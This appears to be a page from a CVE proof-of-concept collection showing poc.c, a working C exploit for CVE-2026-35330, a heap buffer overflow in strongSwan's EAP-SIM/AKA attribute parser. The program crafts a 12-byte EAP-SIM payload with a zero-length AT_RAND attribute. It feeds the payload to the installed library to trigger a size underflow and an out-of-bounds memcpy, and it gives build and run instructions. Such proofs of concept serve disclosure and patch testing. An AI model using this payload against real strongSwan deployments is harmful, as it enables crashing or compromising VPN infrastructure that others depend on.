5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.c C
/*
 * CVE-2026-35330 -- strongSwan EAP-SIM/AKA parse_attributes() heap
 * buffer overflow.  Live library exploit.
 *
 * This program links against the *installed* strongSwan libraries
 * (libsimaka.so + libstrongswan.so) and calls the public API:
 *
 *     simaka_message_create_from_payload(data, NULL);
 *     msg->parse(msg);
 *
 * with a crafted EAP-SIM payload whose AT_RAND attribute has
 * `length == 0`.  Execution reaches production code in:
 *
 *     src/libsimaka/simaka_message.c :: parse_attributes()  line 419
 *     src/libsimaka/simaka_message.c :: add_attribute()
 *
 * where `hdr->length * 4 - 4` underflows to (size_t)0xFFFFFFFFFFFFFFFC
 * and the subsequent `malloc(sizeof(attr_t) + 0xFFFFFFFFFFFFFFFC)`
 * yields a 12-byte allocation followed by an oversized memcpy ->
 * SIGSEGV (under ASan: heap-buffer-overflow WRITE).
 *
 * Build (against installed strongswan, headers in /usr/include):
 *     gcc -fsanitize=address -g -O0 -I/usr/include  poc.c \
 *         -lsimaka -lstrongswan -o poc
 *
 * Run:
 *     ./poc
 *
 * Expected ASan signature on a vulnerable strongSwan (<= 5.9.13):
 *     ==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address ...
 *     WRITE of size 8 at ... thread T0
 *         #0 ... in __asan_memcpy
 *         #1 ... in parse_attributes simaka_message.c
 *         #2 ... in parse simaka_message.c
 *         #3 ... in main poc.c
 *
 * On a patched strongSwan (master >= aa5aaebc33) the parse() returns
 * FALSE silently and the program prints "parse() returned FALSE
 * (patched) -- attribute rejected".
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <arpa/inet.h>

#include <library.h>
#include <utils/chunk.h>
#include <simaka_message.h>

/* EAP codes (RFC 3748) */
#define EAP_REQUEST  1
#define EAP_RESPONSE 2

/* EAP types */
#define EAP_TYPE_SIM 18

/* EAP-SIM subtypes (RFC 4186) */
#define SIM_START      10
#define SIM_CHALLENGE  11

/* EAP-SIM/AKA attribute types (RFC 4186 / RFC 4187) */
#define AT_RAND        1


int main(void)
{
    chunk_t data;
    simaka_message_t *msg;
    uint8_t payload[12];

    /* Init strongSwan library so libsimaka's globals are usable. */
    if (!library_init(NULL, "exploit-35330")) {
        fprintf(stderr, "[!] library_init() failed\n");
        library_deinit();
        return 1;
    }

    /*
     * EAP-SIM header (8 bytes):
     *   byte 0: code      = 2  (EAP_RESPONSE)
     *   byte 1: id        = 0x42
     *   bytes 2-3: length = htons(12)
     *   byte 4: type      = 18 (EAP-SIM)
     *   byte 5: subtype   = 11 (SIM_CHALLENGE)
     *   bytes 6-7: reserved = 0
     */
    payload[0] = EAP_RESPONSE;
    payload[1] = 0x42;
    payload[2] = 0x00;
    payload[3] = 12;
    payload[4] = EAP_TYPE_SIM;
    payload[5] = SIM_CHALLENGE;
    payload[6] = 0x00;
    payload[7] = 0x00;

    /*
     * AT_RAND attribute (4 bytes):
     *   byte 8:  type    = 1 (AT_RAND)
     *   byte 9:  length  = 0   <-- triggers underflow:
     *                             hdr->length * 4 - 4 = -4 -> SIZE_MAX-3
     *   bytes 10-11: reserved (any value)
     */
    payload[8]  = AT_RAND;
    payload[9]  = 0;          /* <-- the bug */
    payload[10] = 0x00;
    payload[11] = 0x00;

    data = chunk_create(payload, sizeof(payload));

    printf("[*] payload (%zu bytes): ", data.len);
    for (size_t i = 0; i < data.len; i++) printf("%02x ", payload[i]);
    printf("\n[*] EAP-SIM header:  code=RESPONSE id=0x42 len=12 type=SIM subtype=CHALLENGE\n");
    printf("[*] AT_RAND header:  type=1 length=0  <-- triggers underflow\n\n");

    msg = simaka_message_create_from_payload(data, NULL);
    if (!msg) {
        fprintf(stderr, "[!] simaka_message_create_from_payload() returned NULL "
                        "-- header rejected\n");
        library_deinit();
        return 2;
    }
    printf("[*] simaka_message_create_from_payload() -> %p\n", (void*)msg);
    printf("[*] calling msg->parse(msg) -- "
           "expecting heap-buffer-overflow inside parse_attributes()...\n");
    fflush(stdout);

    if (msg->parse(msg)) {
        printf("[?] parse() returned TRUE -- unexpected\n");
    } else {
        printf("[+] parse() returned FALSE (patched) -- attribute rejected\n");
    }

    msg->destroy(msg);
    library_deinit();
    return 0;
}